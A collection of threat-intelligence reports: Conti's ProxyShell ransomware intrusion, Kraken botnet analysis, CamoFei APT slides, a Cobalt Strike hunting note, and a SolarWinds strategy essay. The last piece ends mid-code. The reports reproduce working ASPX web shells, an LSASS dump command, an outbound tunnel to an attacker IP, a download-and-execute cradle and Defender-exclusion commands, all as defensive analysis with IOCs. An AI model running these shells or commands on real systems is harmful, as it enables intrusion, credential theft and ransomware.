Exploits, Zero-Day
# Conti Affiliates Use ProxyShell Exchange Exploit in Ransomware Attacks An investigation into recent attacks by a Conti affiliate reveals that the attackers initially accessed targeted organizations’ networks with ProxyShell, an exploit of vulnerabilities in Microsoft Exchange that have been the subject of multiple critical updates over the past several months. The attacker closely followed the game plan laid out in a recently leaked set of documentation attributed to Conti’s operators. ProxyShell represents an evolution of the ProxyLogon attack method. In recent months, the exploit has become a mainstay of ransomware attacker playbooks, including those deploying the new LockFile ransomware first seen in July. As attackers have gained experience with the techniques, their dwell time before launching the final ransomware payload on target networks has decreased from weeks to days to hours. In one observed case of ProxyShell-based attacks, the Conti affiliates managed to gain access to the target’s network and set up a remote web shell in under a minute. Three minutes later, they installed a second, backup web shell. Within 30 minutes, they had generated a complete list of the network’s computers, domain controllers, and domain administrators. Just four hours later, the Conti affiliates had obtained the credentials of domain administrator accounts and began executing commands. Within 48 hours of gaining that initial access, the attackers had exfiltrated about 1 Terabyte of data. After five days had passed, they deployed the Conti ransomware to every machine on the network, specifically targeting individual network shares on each computer. Over the course of the intrusion, the Conti affiliates installed no fewer than seven back doors on the network: two web shells, Cobalt Strike, and four commercial remote access tools (AnyDesk, Atera, Splashtop, and Remote Utilities). The web shells, installed early on, were used mainly for initial access; Cobalt Strike and AnyDesk were the primary tools they used for the remainder of the attack. ## Initial Compromise While Microsoft has issued fixes that mitigate the vulnerabilities in April and May, those fixes require an upgrade to a recent Exchange Server cumulative update—essentially a re-installation of Exchange that results in email downtime. Some organizations using Exchange Server have not yet made that update, leaving them vulnerable to attackers who continuously scan the Internet for vulnerable Exchange servers. In the case analyzed here, the target’s Windows 2012 R2 Standard server had been running Exchange Server 2016 Cumulative Update 3 (CU3). To mitigate against ProxyShell, Exchange 2016 installations need to be updated to at least the CU19 version, released in December 2020. Using ProxyShell, the attackers created a new mailbox for “administrator,” and then assigned new roles to that mailbox using Microsoft Exchange “cmdlets”—including rights to remotely execute PowerShell commands. In another recent Conti ProxyShell attack, the attacker created a mailbox referencing Evil Corp, the organization behind Dridex (as well as a fictional company from the television show Mr. Robot), as part of the ProxyShell attack. After gaining access through the exploit, the attackers then created a web shell on the localhost address of the server: `\\127.0.0.1\C$\inetpub\wwwroot\aspnet_client\aspnetclient_log.aspx` Three minutes later, the attacker issued the first command through the shell – a PowerShell script, encoded in base64. It was a whoami command, used to check which account the actors were using for access. The next encoded command passed is the command line interface to Windows’ Service Control Manager: `sc -path c:\inetpub\wwwroot\aspnet_client\test.txt -value (iex('ls c:\inetpub\wwwroot\aspnet_client\')|Out-String)` This command abuses Service Control Manager to execute a directory look-up on the directory where the web shell has been dropped, writing out the results to a file called test.txt, which can be viewed remotely through the web shell. Next, they executed another, much larger, encoded PowerShell command. This command is double-obfuscated. Decoding the command itself reveals more abuse of Service Control Manager is involved, but there’s also an encoded variable, `$a`. The script outputs the contents of `$a` to a file and checks the contents of the directory afterward to make sure it succeeded. The variable decodes as yet another web shell: ```html <%@ Page Language="C#" Debug="true" validateRequest="false" %> <%@ Import Namespace="System.Diagnostics" %> <%@ Import Namespace="System.IO" %> <%@ Import Namespace="System" %> <%@ Import Namespace="System.Runtime.Serialization.Formatters.Binary" %> <script runat="server"> protected string ExchangeRuntime() { return s.Text.ToString(); } protected void Database(MemoryStream m,BinaryFormatter b) { m.Position = 0; b.Deserialize(m); } protected void C_Click(object sender, EventArgs e) { Byte[] S = System.Convert.FromBase64String(ExchangeRuntime()); MemoryStream m = new MemoryStream(S); BinaryFormatter b = new BinaryFormatter(); Database(m,b); } </script> <html> <form id="form" runat="server" > <asp:TextBox runat="server" ID="s" Value="" input style="border:0px"/> <asp:Button ID="C" runat="server" Text="" OnClick="C_Click" /> </form> </body> </html> ``` The next PowerShell command uses the text to create an .ASPX file–the new web shell: `Copy-Item -path c:\programdata\a.txt -Destination "C:\Program Files\Microsoft\Exchange Server\V15\FrontEnd\HttpProxy\owa\auth\current\themes\ResourceHandler.aspx" -Force; sc -path c:\inetpub\wwwroot\aspnet_client\test.txt -value (iex('ls "C:\Program Files\Microsoft\Exchange Server\V15\FrontEnd\HttpProxy\owa\auth\current\themes\"')|Out-String)` The resulting ResourceHandler.aspx is configured to take base64-encoded content via a text box, decode and de-serialize the contents to convert it to binary. This allows encoded binaries to be dropped onto the targeted server. So, within the first five minutes, the intruders had established a foothold allowing for initial exploitation of the vulnerable Exchange server. ## Reconnaissance Next, the Conti affiliates started assessing where they had landed. Another PowerShell command, once again leveraging Service Control Manager in the same way. Decoded, the command is: `powershell sc -path "c:\programdata\a.txt" -value $a -Force; sc -path c:\inetpub\wwwroot\aspnet_client\test.txt -value (iex('nltest /dclist:')|Out-String)` This overwrites the original dump of the second web shell’s code with an empty file, and then outputs a list of domain controllers to the text file used to read the results of these commands. The overwrite is repeated in the next encoded command, which also extracts a list of computers on the domain: `sc -path "c:\programdata\a.txt" -value $a -Force; sc -path c:\inetpub\wwwroot\aspnet_client\test.txt -value (iex('net group "domain computers" /domain')|Out-String)` After retrieving the list of domain computers from the text file, the intruders then ran another encoded script that overwrote the text.txt file, replacing it with one with “teset” as the only text. They then shifted to the second web shell and continued reconnaissance, executing a series of PowerShell commands using the -noninteractive and -executionpolicy bypass flags to collect information about the network configuration, domain administrators, users actively connected to the system (with quser), and the process ID of the Local Security Authority Subsystem Service (LSASS), if it’s running (with ps lsass). The attackers then dropped an executable, SVN.exe (sha1: 59e2d227bf8499d1d28116f922925980774ebf96), and executed it with a PowerShell command, establishing a connection to a server in Finland: `powershell.exe -noninteractive -executionpolicy bypass Start-Process c:\windows\SVN.exe -ArgumentList '-connect 135[.]181[.]10[.]218:443 -pass Password1234'` ## Going Lateral About four hours after the initial compromise, the attackers were observed stealing credentials—using the COM+ Services DLL’s MiniDump interface to dump the LSASS process located during reconnaissance: `powershell.exe -noninteractive -executionpolicy bypass rundll32.exe C:\windows\System32\comsvcs.dll, MiniDump 596 C:\programdata\a.zip full` Just 13 minutes after the credential dump, at 8 PM local time for the targeted organization, the Conti actors began lateral movement using an existing domain administrator account that they had cracked. That account was used to create an RDP connection from the Exchange server to another server. One minute later, the logs of that server show the domain admin account downloading and installing the AnyDesk remote desktop software as a service. Shortly afterward, they began to clean up the files left on the Exchange server, deleting the credentials dump and killing and deleting the SVN.exe process via PowerShell. The attackers then dropped a Cobalt Strike DLL onto the server running AnyDesk. They were then observed using the ADfind tool to query Active Directory data. This tool was part of the recent Conti affiliate tools and tips leak. Five hours later, we then saw further lateral movement. A Cobalt Strike .dll was seen being deployed to a third server. This server became the primary base of operations for further lateral movement activity by the attackers. Three additional remote access tools (Splashtop, Remote Utilities, and Atera Networks’ Atera Agent) were deployed on this server, and the server was used for RDP-based lateral movement over the next day, including to domain controllers and backup servers. ## Exfiltration and Encryption On the third day of the intrusion, we saw evidence of the Rclone file copying utility being deployed to multiple servers. The attackers then executed a PowerShell file (rclonemanager.ps1) that executes the utility across multiple servers’ drives. Both Rclone and rclonemanager.ps1 were part of the recently leaked Conti affiliate playbook. This script reads from a pair of files that include the addresses of remote drives to copy to the Mega file sharing service, and the username and password for that account. Traffic was seen for two days going to Mega from the servers Rclone was installed to, with just under 1 TB of data exfiltrated. On the fifth day since the initial compromise, at about 10 PM local time on a Friday, the Conti actors began deploying ransomware. Four batch scripts (called 1help.bat, 2help.bat, 3help.bat, and 4help.bat) were run from four servers. The batch files repeatedly invoked the ransomware executable (x64.exe), with each iteration targeting specific drives on every Windows system on the network by their default file sharing names (C$, D$, etc.): `start C:\x64.exe -m -net -size 10 -nomutex -p \\[computer Active Directory name]\C$` In other similar Conti attacks, we have seen the same type of .bat files named [number]start.bat, and ransomware executables named Locker.exe. Every Windows system on the network was targeted, meaning that the attackers had scanned and inventoried all of the systems on the network to identify their connected drives. Because of the way the batch files executed, the actual ransomware executable (x64.exe) remained on the four servers. This was a defense evasion tactic; these were specifically servers that had no malware protection installed, where the ransomware binary could run without detection and encrypt all targeted systems over the network. ## Impact The attack resulted in a total loss of access to the victim’s data. The pace of the attack shows that this Conti affiliate took time to thoroughly document the network of the victim before springing the attack and minimized the opportunities for discovery of the ransomware itself by running it from servers rather than on each targeted machine. The threat posed by ProxyShell and other attacks on known Microsoft Exchange vulnerabilities is extremely high. Organizations with on-premises Exchange Server should update and patch servers as soon as possible. Additionally, attacks like these demonstrate the need to enable malware protection on servers as well as endpoints. Sophos’ Cryptoguard and Credentialguard technologies, as well as behavioral and machine-learning based defenses, would have prevented this sort of attack from succeeding. Sophos Application Control can also be used to prevent the use of remote access tools such as AnyDesk. SophosLabs would like to acknowledge Anand Ajjan, Andrew Ludgate, and Gabor Szappanos of SophosLabs, and Sergio Bestulic and Syed Zaidi from Sophos MTR’s Rapid Response Team for their contributions to this report. ## IOCs The encoded PowerShell commands from this attack are provided below for threat researchers and responders: **PowerShell command #1** `powershell -enc dwBoAG8AYQBtAGkA` Decoded: whoami **PowerShell command #2** `powershell -enc cwBjACAALQBwAGEAdABoACAAYwA6AFwAaQBuAGUAdABwAHUAYgBcAHcAdwB3AHIAbwBvAHQAXABhAHMAcABuAGUAdABfAGMAbABp` Decoded: `sc -path c:\inetpub\wwwroot\aspnet_client\test.txt -value (iex('ls c:\inetpub\wwwroot\aspnet_client\')|Out-String)` **PowerShell command #3** `powershell -enc JABhAD0AIgBQAEMAVgBBAEkARgBCAGgAWgAyAFUAZwBUAEcARgB1AFoAMwBWAGgAWgAyAFUAOQBJAGsATQBqAEkAaQBCAEUAWgB` Decoded: `$a=”PCVAIFBhZ2UgTGFuZ3VhZ2U9IkMjIiBEZWJ1Zz0idHJ1ZSIgdmFsaWRhdGVSZXF1ZXN0PSJmYWxzZSIgJT4NCjwlQCBJbXBvcnQgTmFtZX [System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String($a));sc -path “c:\programdata\a.txt” -value $a -Force;sc -path c:\inetpub\wwwroot\aspnet_client\test.txt -value (iex('ls c:\programdata\')|Out-String)` **PowerShell command #4** `powershell -enc QwBvAHAAeQAtAEkAdABlAG0AIAAtAHAAYQB0AGgAIABjADoAXABwAHIAbwBnAHIAYQBtAGQAYQB0AGEAXABhAC4AdAB4AHQAIAAtAEQA` **PowerShell command #5** `powershell -enc cwBjACAALQBwAGEAdABoACAAIgBjADoAXABwAHIAbwBnAHIAYQBtAGQAYQB0AGEAXABhAC4AdAB4AHQAIgAgAC0AdgBhAGwAdQBlACA` Decoded: `sc -path “c:\programdata\a.txt” -value $a -Force;sc -path c:\inetpub\wwwroot\aspnet_client\test.txt -value (iex('nltest /dclist:')|Out-String)` **PowerShell command #6** `powershell -enc cwBjACAALQBwAGEAdABoACAAIgBjADoAXABwAHIAbwBnAHIAYQBtAGQAYQB0AGEAXABhAC4AdAB4AHQAIgAgAC0AdgBhAGwAdQBlACA` **PowerShell command #7** `powershell -enc cwBjACAALQBwAGEAdABoACAAYwA6AFwAaQBuAGUAdABwAHUAYgBcAHcAdwB3AHIAbwBvAHQAXABhAHMAcABuAGUAdABfAGMAbABp` Decoded: `sc -path c:\inetpub\wwwroot\aspnet_client\test.txt -value teset` **PowerShell command #8** `powershell.exe -noninteractive -executionpolicy bypass ipconfig /all` **PowerShell command #9** `powershell.exe -noninteractive -executionpolicy bypass net group ‘domain admins’ /domain` **PowerShell command #10** `powershell.exe -noninteractive -executionpolicy bypass quser` **PowerShell command #11** `powershell.exe -noninteractive -executionpolicy bypass ps lsass` **PowerShell command #12** `powershell.exe -noninteractive -executionpolicy bypass Start-Process c:\windows\SVN.exe -ArgumentList ‘-connect 135.181.10.218:443 -pass Password1234’` **PowerShell command #13** `powershell.exe -noninteractive -executionpolicy bypass rundll32.exe C:\windows\System32\comsvcs.dll, MiniDump 596 C:\programdata\a.zip full` **PowerShell command #14** `powershell -nop -exec bypass -EncodedCommand SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAG` Decoded: `IEX (New-Object Net.Webclient).DownloadString(‘http://127.0.0.1:20412/’); .\rclonemanager.ps1`
# Hunting Cobalt Strike C2 with Shodan **Michael Koczwara** September 25, 2021 Four techniques: - Default certificate. - Hash + 50050 port (FP filtering is required). - JARM (FP filtering is required). - ASN/ISP scanning (this one is handy for subnet pivoting). You can read my Twitter thread where I explained the logic behind each technique.
# Russia's Hack Wasn't Cyberwar. That Complicates US Strategy The list of US government agencies compromised in the SolarWinds hack continues to expand, with reports of infiltrations at Treasury, Commerce, Homeland Security, and potentially State, Defense, and the CDC. This is a big deal for national security: It is the largest known data breach of US government information since the Office of Personnel Management hack in 2014, and could give hackers a trove of inside information. Though the scope of this hack is still being determined, such an extraordinary breach begs a fairly obvious question: Is US cyber strategy working? The US has historically relied on, first, a deterrence strategy and, more recently, the idea of “defend forward” to prevent and respond to malicious behavior in cyberspace. Is a failure of these strategies to blame? The answer (like all things political) is complicated. First off, it’s important to establish what this hack was. The fact that a purportedly nation-state actor (likely Russia) was able to compromise a third party (SolarWinds) to gain access to an as-yet-unknown number of US government networks and exfiltrate data is a significant espionage achievement. And it illustrates how third-party vendors can provide an avenue for threat actors to conduct espionage campaigns at a scope and scale typically not seen outside of cyberspace. But to call this incident a cyberattack would be off the mark. At this point, the operation appears to have been espionage to steal national security information, rather than to disrupt, deny, or degrade US government data or networks. While it may seem like splitting hairs, terminology is important because it has policy, and often legal, consequences. Espionage is an accepted part of international statecraft, one that states often respond to with arrests, diplomacy, or counterintelligence. In contrast, an attack (even a cyberattack) has international and domestic legal ramifications that could allow states to respond with force. So far at least, this hack is not that. The question of what this incident means for cyber deterrence, on the other hand, is less straightforward. To understand why this is a complicated question, it's helpful to understand how this strategy works (and doesn’t). Deterrence is about convincing an adversary not to do something by threatening punishment or making it seem unlikely the operation will succeed. This is a hard thing to do for a few reasons. First, states need to threaten a response that is both scary and believable. A threat may not be credible because the state lacks the capabilities to carry it out. Or, as is more often the case with the United States, threats may lack credibility because adversaries don’t believe there will be follow-through. For instance, the US might threaten to use nuclear weapons in response to cyber espionage, but no state would believe the US would actually launch a nuclear attack in response to a data breach. It’s just not a credible threat. To make matters even more complicated, it's also hard to tell when deterrence has actually worked because, if it does, nothing happens. So even if a state was deterred by a good defense, it's almost impossible to know whether the state didn’t follow through with the attack simply because it wasn’t interested in taking the action in the first place. There are few if any deterrence mechanisms that work to prevent cyber espionage. Because states routinely spy on one another—friends and foes alike—there are a very limited number of credible punishments states can use to threaten others into not spying. The US has tried using a handful of options for cyber deterrence, such as issuing warrants for state-sponsored hackers or threatening sanctions for cyber intelligence. But these have had limited success. This does not mean, however, we should throw out the deterrence baby with the bathwater. As Jon Lindsay, a professor at University of Toronto, points out, the success of deterrence outside of cyberspace can incentivize and shape state behavior within cyberspace. And, there is compelling evidence that deterrence can work in cyberspace. No adversary has ever conducted a cyberattack against the United States that created violence or sustained, significant effects on infrastructure or military capabilities. Arguably, this is because the US’s large and lethal conventional military force is a credible deterrent at higher cyber thresholds. The more vexing strategic challenge for the US is in the space between national security espionage (where deterrence doesn’t quite apply) and major cyberattacks (where deterrence seems to hold). In terms of the SolarWinds incident, the deterrence game is not yet over. The breach is still ongoing, and the ultimate end game is still unknown. Information gleaned from the breach could be used for other detrimental foreign policy objectives outside of cyberspace, or the threat actor could exploit its access to US government networks to engage in follow-on disruptive or destructive actions (in other words, conduct a cyberattack). But what about the Department of Defense’s new defend forward strategy, which was meant to fill in the gap where traditional deterrence mechanisms might not work? Some view this latest incident as a defend-forward failure because the Defense Department seemingly did not manage to stop this hack before it occurred. Introduced in the 2018 Defense Department Cyber Strategy, this strategy aims to “disrupt or halt malicious cyber activity at its source.” This represented a change in how the Defense Department conceptualized operating in cyberspace, going beyond maneuvering in networks it owns, to operating in those that others may control. There has been some controversy about this posture. In part, this may be because defend forward has been described in many different ways, making it hard to understand what the concept actually means and the conditions under which it is meant to apply. Here’s our take on defend forward, which we see as two types of activities: The first is information gathering and sharing with allies, partner agencies, and critical infrastructure by maneuvering in networks where adversaries operate. These activities create more robust defense mechanisms, but largely leave the adversary alone. The second includes countering adversary offensive cyber capabilities and infrastructure within the adversaries’ own networks. In other words, launching cyberattacks against adversary hacking groups—like threat actors associated with the Russian government. It isn’t clear how much of this second category the Defense Department has been doing, but the SolarWinds incident suggests the US could be doing more. How should the US cyber strategy adapt after SolarWinds? Deterrence may be an ineffective strategy for preventing espionage, but other options remain. To decrease the scope and severity of these intelligence breaches, the US must improve its defenses, conduct counterintelligence operations, and also conduct counter-cyber operations to degrade the capabilities and infrastructure that enable adversaries to conduct espionage. That’s where defend forward could be used more effectively. This doesn’t mean deterrence is completely dead. Instead, the US should continue to build and rely on strategic deterrence to convince states not to weaponize the cyber intelligence they collect. That effort could start with better signaling that the US is serious about responding to significant cyberattacks, including a frank conversation with Russian President Vladimir Putin, reminding him that while he may have scored an intelligence coup in SolarWinds, Russia is still overmatched in economic and military power by the US. The SolarWinds incident reveals an important truth about our cyber strategy: The US should focus less on convincing adversaries not to conduct intelligence, and focus more on making these efforts less successful. This means investing more in defense and information sharing, but it also means making it more difficult for threat actors, like those affiliated with Russia or China, to conduct both cyber espionage and cyberattacks by “defending forward” to degrade these countries’ offensive cyber capabilities.
# Meet Kraken: A New Golang Botnet in Development **February 16, 2022 | by Stephan Simon** February 22, 2022 Editor’s Note: Since conducting his initial research, ZeroFox Intelligence Researcher Stephan Simon has uncovered additional details about the operators and the botnet. Updates have been published here. In late October 2021, ZeroFox Intelligence discovered a previously unknown botnet called Kraken. Though still under active development, Kraken already features the ability to download and execute secondary payloads, run shell commands, and take screenshots of the victim’s system. It currently makes use of SmokeLoader—a piece of malware used to install other malicious software—to spread, quickly gaining hundreds of bots each time a new command and control server is deployed. Despite having the same name, it should not be confused with the Kraken botnet from 2008 as they have little else in common. ## Details Since October 2021, ZeroFox Intelligence has been tracking Kraken – a previously unknown botnet targeting Windows that is currently under active development. Although the bot is simple in functionality, the author has been experimenting with new features while altering others. Current iterations of Kraken feature the ability to: - Maintain persistence - Collect information about the host for registration (varies per version) - Download and execute files - Run shell commands - Steal various cryptocurrency wallets - Take screenshots ### “Open Source” Beginnings Early versions of Kraken were based on code uploaded to GitHub on October 10, 2021. The project only had two commits, and the source code pre-dated any binaries ZeroFox observed in the wild. It is not currently known if the GitHub profile belongs to the botnet’s operator or if the operator simply used the code to kickstart their development. ### Observed Infection Vector Thanks to a tip by @abuse_ch, ZeroFox learned that Kraken originally spread in self-extracting RAR SFX files downloaded by SmokeLoader. These SFX files contained a UPX-packed version of Kraken, RedLine Stealer, and another binary used to delete Kraken. Current versions of Kraken are now downloaded by SmokeLoader directly. Kraken binaries are still UPX-packed but are now further protected by the Themida packer as well. ### Installation and Persistence During Kraken’s installation phase, it attempts to move itself into `%AppData%\Microsoft`. The file name is hardcoded, though the author has changed it a few times. ZeroFox has observed file names such as taskhost.exe, Registry.exe, and Windows Defender GEO.exe. To stay hidden, Kraken runs the following two commands: 1. `powershell -Command Add-MpPreference -ExclusionPath %APPDATA%\Microsoft` 2. `attrib +S +H %APPDATA%\Microsoft\<EXE_NAME>` The PowerShell command tells Microsoft Defender not to scan Kraken’s installation directory, while the attrib command is used to hide the copied EXE file from an Explorer window that has not enabled the “Show hidden files, folders, and drives” option. Kraken also makes use of the Windows Run registry key to ensure it starts every time the victim logs in. A mix of fake and real information is stored in a new registry key under `HKEY_CURRENT_USER\Software`; it is all currently unused after saving it during the installation. The name of the key is another hardcoded value, though it has also changed occasionally. Early versions of Kraken observed by ZeroFox created a key with the name “Networking Service” or some slight variation. Aside from the hard-coded name for the registry key, the following information has remained the same in every version ZeroFox has encountered in the wild: - ID – obfuscated UUID - INSTALL – installation timestamp - LAST – empty - NAME – obfuscated binary and Run key name (minus file extension) - REMASTER – always “nil” - VERSION – always “0.5.6” ### Features Kraken’s feature set is simplistic for a botnet. Although not present in earlier builds, the bot is capable of collecting information about the infected host and sending it back to the command and control (C2) server during registration. The information collected seems to vary from build to build, though ZeroFox has observed the following being collected: - Hostname - Username - Build ID (TEST_BUILD_ + the timestamp of the first run) - CPU details - GPU details - Operating system and version The botnet also features the ability to download and execute files. Originally, Kraken contained separate but similar functions for downloading files for different situations, such as updating the bot itself, executing secondary payloads, and receiving files through direct socket connection. These functions have since been combined into one, while the redundant functions were removed. Kraken’s operators are able to run shell commands on infected hosts from the dashboard as well, returning the results back to the C2 server. SSH brute-forcing functionality was added to some builds but was quickly removed. This function was hardcoded to attempt logging in as the root user of a given target and assumed a server would be listening on the default port. ZeroFox did not see any evidence of this feature being used, likely explaining its quick removal. Upon execution, Kraken immediately takes a screenshot to send to the C2. A “ScreenShot” command also exists if the operator decides to take screenshots of the victim’s system on demand. The most recent feature addition is the ability to steal various cryptocurrency wallets from the following locations: - `%AppData%\Zcash` - `%AppData%\Armory` - `%AppData%\bytecoin` - `%AppData%\Electrum\wallets` - `%AppData%\Ethereum\keystore` - `%AppData%\Exodus\exodus.wallet` - `%AppData%\Guarda\Local Storage\leveldb` - `%AppData%\atomic\Local Storage\leveldb` - `%AppData%\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb` Currently supported commands are: - Position – Unknown - ScreenShot – take a screenshot - SHELL – run a Windows shell command with cmd - UPLOAD – download and execute an EXE ### Dashboards Multiple versions of the administration panel or dashboard have been created since October 2021. While the original code found on GitHub did include a server, it did not have a web-based interface for interacting with the botnet. #### Kraken Panel The initial panel, aptly named “Kraken Panel,” was simple in terms of features. It offered basic statistics, links to download payloads, an option to upload new payloads, and a way to interact with a specific number of bots. This version did not appear to allow the operator(s) to choose which victims to interact with. #### Anubis Panel The current version of the C2 has undergone a total redesign—complete with a new name, Anubis. The Anubis Panel provides far more information to the operator(s) than the original Kraken Panel. In addition to the previously provided statistics, it is now possible to view command history and information about the victim. A later update to the Anubis Panel added the ability for the operator(s) to be more selective when choosing targets for commands. In previous versions, the operator(s) could only choose the number of victims to target with the command. With this update, targets can be chosen individually or by group using their external IP or geographic location. The Anubis Panel also allows the operator(s) to view task and command history via the dashboard and TASK page. The TASK page shows information such as the ID generated for the task, the command being sent, how many victims the command should be sent to, the targeted geolocation, and a timestamp of when the task was initiated. Initially, every task investigated by ZeroFox resulted in a version of RedLine Stealer being downloaded and executed on the victim’s machine. Some shell commands were observed as well, though these were only used to download more RedLine payloads using curl. As the operator(s) behind Kraken continued to expand and gather more victims, ZeroFox began observing other generic information stealers and cryptocurrency miners being deployed. As of this writing, the botnet appears to be collecting around USD 3,000 every month. ### Recommendations - Ensure antivirus and intrusion detection software is up to date with all patches and rule sets. - Enable two-factor authentication for all organizational accounts to help mitigate phishing and credential stuffing attacks. - Maintain regularly scheduled backup routines, including off-site storage and integrity checks. - Avoid opening unsolicited attachments and never click suspicious links. - Log and monitor all administrative actions as much as possible. Alert on any suspicious activity. - Review network logs for potential signs of compromise and data egress. ## Conclusion While in development, Kraken C2s seem to disappear often. ZeroFox has observed dwindling activity for a server on multiple occasions, only for another to appear a short time later using either a new port or a completely new IP. By using SmokeLoader to spread, Kraken quickly gains hundreds of new bots each time the operator changes the C2. Monitoring commands sent to Kraken victims from October 2021 through December 2021 revealed that the operator had focused entirely on pushing information stealers – specifically RedLine Stealer. It is currently unknown what the operator intends to do with the stolen credentials that have been collected or what the end goal is for creating this new botnet. ## MITRE ATT&CK - **ID**: T1027.002 - Obfuscated Files or Information: Software Packing - **ID**: T1033 - System Owner/User Discovery - **ID**: T1047 - Windows Management Instrumentation - **ID**: T1059.001 - Command and Scripting Interpreter: PowerShell - **ID**: T1059.003 - Command and Scripting Interpreter: Windows Command Shell - **ID**: T1082 - System Information Discovery - **ID**: T1113 - Screen Capture - **ID**: T1132.001 - Data Encoding: Standard Encoding - **ID**: T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder - **ID**: T1571 - Non-Standard Port ## IOCs - 65.21.105.85 - 91.206.14.151 - 95.181.152.184 - 185.112.83.22 - 185.112.83.96 - 185.206.212.165 - 213.226.71.125 - 1d772f707ce74473996c377477ad718bba495fe7cd022d5b802aaf32c853f115 - d742a33692a77f5caef5ea175957c98b56c2dc255144784ad3bade0a0d50d088 - ddf039c3d6395139fd7f31b0a796a444f385c582ca978779aae7314b19940812 - dcaaef3509bc75155789058d79f025f14166386cec833c2c154ca34cfea26c52 - 54d36e5dce2e546070dc0571c8b3e166d6df62296fa0609a325ace23b7105335 - 095c223b94656622c81cb9386aefa59e168756c3e200457e98c00b609e0bb170 - 0f0cabb24d8cc93e5aed340cfc492c4008509f1e84311d61721a4375260a0911 - 2ced68e4425d31cca494557c29a76dfc3081f594ff01549e41d2f8a08923ef61 - 3215decffc40b3257ebeb9b6e5c81c45e298a020f33ef90c9418c153c6071b36 - ef3e0845b289f1d3b5b234b0507c554dfdd23a5b77f36d433489129ea722c6bb - 7c76ca5eb757df4362fabb8cff1deaa92ebc31a17786c89bde55bc53ada43864 - 48c2f53f1eeb669fadb3eec46f7f3d4572e819c7bb2d39f22d22713a30cc1846 - 43f46a66c821e143d77f9311b24314b5c5eeccfedbb3fbf1cd484c9e4f537a5d - 8c4294e3154675cd926ab6b772dbbe0e7a49cae16f4a37d908e1ca6748251c43 **Tags**: Botnet, Cybersecurity, Threat Intelligence
# Unmasking CamoFei ## An In-depth Analysis of an Emerging APT Group Focused on Healthcare Sectors in East Asia ### Still Hsu, DuckLL - Threat Intelligence Researcher @ TeamT5 - Non-binary (they/them) - Part-time streamer - Speaker of Conferences: BlackHat Asia, HITB, HITCON, CODE BLUE - UCCU Hacker Core Member ## Introduction CamoFei - China-nexus APT threat group - First seen: End of 2019 - Footprint Concealing ### Malware: - Cobalt Strike - DoorMe - IISBeacon - Timinp - MGDrive - AukDoor - CatB Ransomware ## Related Work - Positive Technologies in 2021 - ChamelGang - ProxyShell Exploit - Malware - BeaconLoader & Cobalt Strike - ProxyT - DoorMe ## Target Country - Taiwan, Vietnam, Philippines, Thailand, India, Turkey, Brazil, Hong Kong - Russia, US, Japan, Afghanistan, Lithuania, Nepal ## Target Industry - Critical Infrastructure - Energy - Water - Communication - Transportation - Finance - Healthcare - Government - High-Tech ## Motivation - Money - PII - DoS - Knowledge - Information Operation ## Common Issues - OT Security - Lack of Security Staff - Complex System - Outdated Hardware and Software ## TTPs: ### Initial Access - Spear phishing ### Malware Primary Arsenal - Cobalt Strike - Special loader - MGDrive - Google Drive tool - AukDoor - Linux backdoor - DoorMe - IIS-based backdoor - Timinp - CatB Ransomware ### Cobalt Strike (Custom Loaders) | Date | MD5 | Watermark | |------------|---------------------------------------|---------------| | 2020-05-20 | 9a221336204d671fafd830c84d9bdc26 | 985457035 | | 2021-02-26 | 897bfb316d2e8ff72031a3332842be0f | 1421888813 | | 2021-09-17 | 90cc1835823d5f86cd1947b03e6111a9 | 1028153346 | | 2021-09-18 | 6a3c69384237078b6ab03ab7c38970ca | 1028153346 | | 2021-10-26 | 76449d55107fcc7cd666514892879aae | 1570652404 | | 2022-03-24 | 426ee09eaa0d8940ac5f730d1c48be7c | 164069343 | | 2022-04-21 | 634c08a0dac337f3c2cde4dfdd03ca5f | 1028153346 | | 2022-04-21 | 9755ee49da758de56286ee9fc512ed5d | 363348564 | | 2023-02-08 | 9c5658ba8a8ab9e92c96f13247d3b17e | 373441684 | | 2023-02-15 | 6171eaf5a3ac9500c8043d2fecc589cd | 1444764933 | | 2023-03-10 | 0d76b20ab79afaf650aa12ea7e448d2f | 1578452238 | | 2023-04-21 | 900ead32a061c7047a4e438589102d25 | 0 | | 2023-06-28 | f8c137c83b6dfdeb9f0403ea7e2c51c7 | 1299761752 | ### MGDrive - Government agency - MGD.dll ### DoorMe - Compiler-level obfuscation ### Timinp - Discovered in a TW telecommunication agency - Uses the same MSDTC chain they’ve been using for 3+ years - Uses similar decoding mechanism - Signed with valid certificate from “coolschool” ### CatB Ransomware - Signed with valid certificate from “coolschool” - Several samples linked to the certificate contain icon hash linked to Case Study #1 - Matches pattern used by the same actor discovered in other cases - BTC wallet only had tiny bit of traffic on April 29, 2023 - Similar samples use identical email pattern & provider - Uses .bak9 extension - Matches another ransomware incident against Indian medical university - Also linked to a Chinese-nexus group based on INCERT investigation ## Use of Various Hacktools ### TTPs: - Use of Cloud Services - GitHub (C2 download) - Google Drive (MGDrive, Timinp) ## C2 Stations - Austria: 4 - South Korea: 7 - Hong Kong: 3 - Romania: 3 - USA: 4 ## Case Study #1 ### Spear phishing -> Healthcare - Email was sent via a legitimate email server from a tertiary school - Compromised and abused - Fake resume as lure - Self-extracted RAR containing a resume, encoded Cobalt Strike Beacon, and its loader ### Spear phishing #2 - Fake resume for volunteering at a certain healthcare organization as lure - Self-extracted RAR containing a resume, encoded Cobalt Strike Beacon, and its loader ### Spear phishing #3 - Generic dental advice as lure - Self-extracted RAR containing a document, custom loader, and encoded Cobalt Strike beacon inside an encrypted ZIP file - Encrypted ZIP embedded containing “CFG1D19” - Decimal-encoded payload still used by the same group till this day ## Summary - All the spear phishing files were prepped almost simultaneously with the launch of the attack in May 2020 - Heavily abused Cobalt Strike - Uses decimal-encoded payload - Part of their arsenal even till present day ## Case Study #2 ### ProxyLogon Post-exploitation Attack Flow ```csharp <%@Page Language="C#"%> <% HttpContext h=HttpContext.Current; string s="c01bc5249636a40d"; h.Application.Set("k",s); try { byte[] k=Encoding.Default.GetBytes(s),c=h.Request.BinaryRead(h.Request.ContentLength); System.Reflection.Assembly.Load(new System.Security.Cryptography.RijndaelManaged().CreateDecryptor(k,k).TransformFinalBlock(c,0,c.Length)).CreateInstance("U"); }catch (Exception e) { } %> ``` ### Attack Flow ```csharp System.Data.DataSet ds = new System.Data.DataSet(); System.Data.SqlClient.SqlCommand cmd = new 